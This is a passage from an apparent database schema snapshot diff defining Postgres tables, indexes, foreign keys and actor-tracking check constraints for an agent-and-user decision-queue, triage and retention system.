'agent' AND \"decision_queues\".\"created_by_agent_id\" IS NOT NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n OR (\"decision_queues\".\"created_by_type\" = 'user' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NOT NULL)\n OR (\"decision_queues\".\"created_by_type\" = 'system' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n )" + }, + "decision_queues_retention_days_check": { + "name": "decision_queues_retention_days_check", + "value": "\"decision_queues\".\"retention_days\" IS NULL OR (\"decision_queues\".\"retention_days\" >= 1 AND \"decision_queues\".\"retention_days\" <= 3650)" + } + }, + "isRLSEnabled": false + }, + "public.decision_retention": { + "name": "decision_retention", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_id": { + "name": "source_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_activity_at": { + "name": "source_activity_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "keep": { + "name": "keep", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "archived_reason": { + "name": "archived_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "archived_by_type": { + "name": "archived_by_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "archived_by_agent_id": { + "name": "archived_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "archived_by_user_id": { + "name": "archived_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "archived_by_run_id": { + "name": "archived_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "version": { + "name": "version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "archive_version": { + "name": "archive_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_retention_company_source_uq": { + "name": "decision_retention_company_source_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_retention_company_archived_idx": { + "name": "decision_retention_company_archived_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_retention_company_id_companies_id_fk": { + "name": "decision_retention_company_id_companies_id_fk", + "tableFrom": "decision_retention", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_retention_archived_by_agent_id_agents_id_fk": { + "name": "decision_retention_archived_by_agent_id_agents_id_fk", + "tableFrom": "decision_retention", + "columnsFrom": [ + "archived_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_retention_archived_by_run_id_heartbeat_runs_id_fk": { + "name": "decision_retention_archived_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "decision_retention", + "columnsFrom": [ + "archived_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "decision_retention_archive_actor_check": { + "name": "decision_retention_archive_actor_check", + "value": "(\n (\"decision_retention\".\"archived_at\" IS NULL AND \"decision_retention\".\"archived_by_type\" IS NULL AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'system' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'agent' AND \"decision_retention\".\"archived_by_agent_id\" IS NOT NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'user' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NOT NULL)\n )" + } + }, + "isRLSEnabled": false + }, + "public.decision_triage": { + "name": "decision_triage", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_id": { + "name": "source_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "decide_by": { + "name": "decide_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "decide_by_date": { + "name": "decide_by_date", + "type": "date", + "primaryKey": false, + "notNull": false + }, + "snoozed_until": { + "name": "snoozed_until", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "set_by_type": { + "name": "set_by_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "set_by_agent_id": { + "name": "set_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "set_by_user_id": { + "name": "set_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "set_by_run_id": { + "name": "set_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "set_by_agent_api_key_id": { + "name": "set_by_agent_api_key_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "version": { + "name": "version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_triage_company_source_uq": { + "name": "decision_triage_company_source_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_triage_company_decide_by_idx": { + "name": "decision_triage_company_decide_by_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "decide_by", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_triage_company_id_companies_id_fk": { + "name": "decision_triage_company_id_companies_id_fk", + "tableFrom": "decision_triage", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_triage_set_by_agent_id_agents_id_fk": { + "name": "decision_triage_set_by_agent_id_agents_id_fk", + "tableFrom": "decision_triage", + "columnsFrom": [ + "set_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_triage_set_by_run_id_heartbeat_runs_id_fk": { + "name": "decision_triage_set_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "decision_triage", + "columnsFrom": [ + "set_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk": { + "name": "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk", + "tableFrom": "decision_triage", + "columnsFrom": [ + "set_by_agent_api_key_id" + ], + "tableTo": "agent_api_keys", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "decision_triage_actor_check": { + "name": "decision_triage_actor_check", + "value": "(\n (\"decision_triage\".\"set_by_type\" = 'agent' AND \"decision_triage\".\"set_by_agent_id\" IS NOT NULL AND \"decision_triage\".\"set_by_user_id\" IS NULL)\n OR (\"decision_triage\".\"set_by_type\" = 'user' AND \"decision_triage\".\"set_by_agent_id\" IS NULL AND \"decision_triage\".\"set_by_user_id\" IS NOT NULL)\n )" + }, + "decision_triage_decide_by_check": { + "name": "decision_triage_decide_by_check", + "value": "(\n (\"decision_triage\".\"decide_by\" IS NULL AND \"decision_triage\".\"decide_by_date\" IS NULL)\n OR (\"decision_triage\".\"decide_by\" IN ('today', 'this_week', 'whenever') AND \"decision_triage\".\"decide_by_date\" IS NULL)\n OR (\"decision_triage\".\"decide_by\" = 'date' AND \"decision_triage\".\"decide_by_date\" IS NOT NULL)\n )" + } + }, + "isRLSEnabled": false + }, + "public.decision_triage_events": { + "name": "decision_triage_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "queue_id": { + "name": "queue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_id": { + "name": "source_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_agent_id": { + "name": "actor_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "actor_user_id": { + "name": "actor_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_run_id": { + "name": "actor_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "agent_api_key_id": { + "name": "agent_api_key_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "details": { + "name": "details", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_triage_events_company_source_created_idx": { + "name": "decision_triage_events_company_source_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_triage_events_queue_created_idx": { + "name": "decision_triage_events_queue_created_idx", + "columns": [ + { + "expression": "queue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_triage_events_company_id_companies_id_fk": { + "name": "decision_triage_events_company_id_companies_id_fk", + "tableFrom": "decision_triage_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_triage_events_queue_id_decision_queues_id_fk": { + "name": "decision_triage_events_queue_id_decision_queues_id_fk", + "tableFrom": "decision_triage_events", + "columnsFrom": [ + "queue_id" + ], + "tableTo": "decision_queues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_triage_events_actor_agent_id_agents_id_fk": { + "name": "decision_triage_events_actor_agent_id_agents_id_fk", + "tableFrom": "decision_triage_events", + "columnsFrom": [ + "actor_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_triage_events_actor_run_id_heartbeat_runs_id_fk": { + "name": "decision_triage_events_actor_run_id_heartbeat_runs_id_fk", + "tableFrom": "decision_triage_events", + "columnsFrom": [ + "actor_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk": { + "name": "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk", + "tableFrom": "decision_triage_events", + "columnsFrom": [ + "agent_api_key_id" + ], + "tableTo": "agent_api_keys", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "decision_triage_events_actor_check": { + "name": "decision_triage_events_actor_check", + "value": "(\n (\"decision_triage_events\".\"actor_type\" = 'agent' AND \"decision_triage_events\".\"actor_agent_id\" IS NOT NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n OR (\"decision_triage_events\".\"actor_type\" = 'user' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NOT NULL)\n OR (\"decision_triage_events\".\"actor_type\" = 'system' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n )" + } + }, + "isRLSEnabled": false + }, + "public.decision_training_examples": { + "name": "decision_training_examples", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_id": { + "name": "source_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "cutoff_at": { + "name": "cutoff_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "notes": { + "name": "notes", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "notes_history": { + "name": "notes_history", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "decision_outcome": { + "name": "decision_outcome", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "retention_policy": { + "name": "retention_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'scrub_deleted_comments_v1'" + }, + "snapshot": { + "name": "snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_training_examples_company_created_at_idx": { + "name": "decision_training_examples_company_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_training_examples_issue_idx": { + "name": "decision_training_examples_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_training_examples_source_author_uq": { + "name": "decision_training_examples_source_author_uq", + "columns": [ + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_by_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_training_examples_company_id_companies_id_fk": { + "name": "decision_training_examples_company_id_companies_id_fk", + "tableFrom": "decision_training_examples", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_training_examples_issue_id_issues_id_fk": { + "name": "decision_training_examples_issue_id_issues_id_fk", + "tableFrom": "decision_training_examples", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.decision_bundles": { + "name": "decision_bundles", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "origin_agent_id": { + "name": "origin_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "origin_issue_id": { + "name": "origin_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "origin_run_id": { + "name": "origin_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_bundles_company_created_at_idx": { + "name": "decision_bundles_company_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_bundles_company_id_companies_id_fk": { + "name": "decision_bundles_company_id_companies_id_fk", + "tableFrom": "decision_bundles", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_bundles_origin_agent_id_agents_id_fk": { + "name": "decision_bundles_origin_agent_id_agents_id_fk", + "tableFrom": "decision_bundles", + "columnsFrom": [ + "origin_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_bundles_origin_issue_id_issues_id_fk": { + "name": "decision_bundles_origin_issue_id_issues_id_fk", + "tableFrom": "decision_bundles", + "columnsFrom": [ + "origin_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_bundles_origin_run_id_heartbeat_runs_id_fk": { + "name": "decision_bundles_origin_run_id_heartbeat_runs_id_fk", + "tableFrom": "decision_bundles", + "columnsFrom": [ + "origin_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.decision_effect_executions": { + "name": "decision_effect_executions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "decision_id": { + "name": "decision_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "effect_index": { + "name": "effect_index", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "effect_type": { + "name": "effect_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_issue_id": { + "name": "target_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'claimed'" + }, + "result": { + "name": "result", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "activity_log_id": { + "name": "activity_log_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "executed_at": { + "name": "executed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "decision_effect_executions_decision_effect_uq": { + "name": "decision_effect_executions_decision_effect_uq", + "columns": [ + { + "expression": "decision_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "effect_index", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_effect_executions_target_issue_idx": { + "name": "decision_effect_executions_target_issue_idx", + "columns": [ + { + "expression": "target_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_effect_executions_decision_id_decisions_id_fk": { + "name": "decision_effect_executions_decision_id_decisions_id_fk", + "tableFrom": "decision_effect_executions", + "columnsFrom": [ + "decision_id" + ], + "tableTo": "decisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_effect_executions_target_issue_id_issues_id_fk": { + "name": "decision_effect_executions_target_issue_id_issues_id_fk", + "tableFrom": "decision_effect_executions", + "columnsFrom": [ + "target_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_effect_executions_activity_log_id_activity_log_id_fk": { + "name": "decision_effect_executions_activity_log_id_activity_log_id_fk", + "tableFrom": "decision_effect_executions", + "columnsFrom": [ + "activity_log_id" + ], + "tableTo": "activity_log", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.decision_target_issues": { + "name": "decision_target_issues", + "schema": "", + "columns": { + "decision_id": { + "name": "decision_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "decision_target_issues_decision_idx": { + "name": "decision_target_issues_decision_idx", + "columns": [ + { + "expression": "decision_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_target_issues_issue_idx": { + "name": "decision_target_issues_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_target_issues_decision_id_decisions_id_fk": { + "name": "decision_target_issues_decision_id_decisions_id_fk", + "tableFrom": "decision_target_issues", + "columnsFrom": [ + "decision_id" + ], + "tableTo": "decisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_target_issues_issue_id_issues_id_fk": { + "name": "decision_target_issues_issue_id_issues_id_fk", + "tableFrom": "decision_target_issues", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_target_issues_company_id_companies_id_fk": { + "name": "decision_target_issues_company_id_companies_id_fk", + "tableFrom": "decision_target_issues", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": { + "decision_target_issues_decision_id_issue_id_pk": { + "name": "decision_target_issues_decision_id_issue_id_pk", + "columns": [ + "decision_id", + "issue_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.decisions": { + "name": "decisions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "bundle_id": { + "name": "bundle_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "origin_agent_id": { + "name": "origin_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "origin_issue_id": { + "name": "origin_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "origin_run_id": { + "name": "origin_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "rule_key": { + "name": "rule_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "options": { + "name": "options", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "inputs": { + "name": "inputs", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'open'" + }, + "execution_status": { + "name": "execution_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "chosen_option_id": { + "name": "chosen_option_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "input_values": { + "name": "input_values", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "decided_by_user_id": { + "name": "decided_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "decided_at": { + "name": "decided_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "signed_spec": { + "name": "signed_spec", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_snapshots": { + "name": "target_snapshots", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "continuation_policy": { + "name": "continuation_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'none'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decisions_company_status_expires_at_idx": { + "name": "decisions_company_status_expires_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decisions_bundle_idx": { + "name": "decisions_bundle_idx", + "columns": [ + { + "expression": "bundle_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decisions_origin_issue_idx": { + "name": "decisions_origin_issue_idx", + "columns": [ + { + "expression": "origin_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decisions_company_idempotency_uq": { + "name": "decisions_company_idempotency_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"decisions\".\"idempotency_key\" IS NOT NULL", + "concurrently": false + } + }, + "foreignKeys": { + "decisions_company_id_companies_id_fk": { + "name": "decisions_company_id_companies_id_fk", + "tableFrom": "decisions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decisions_bundle_id_decision_bundles_id_fk": { + "name": "decisions_bundle_id_decision_bundles_id_fk", + "tableFrom": "decisions", + "columnsFrom": [ + "bundle_id" + ], + "tableTo": "decision_bundles", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "decisions_origin_agent_id_agents_id_fk": { + "name": "decisions_origin_agent_id_agents_id_fk", + "tableFrom": "decisions", + "columnsFrom": [ + "origin_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + 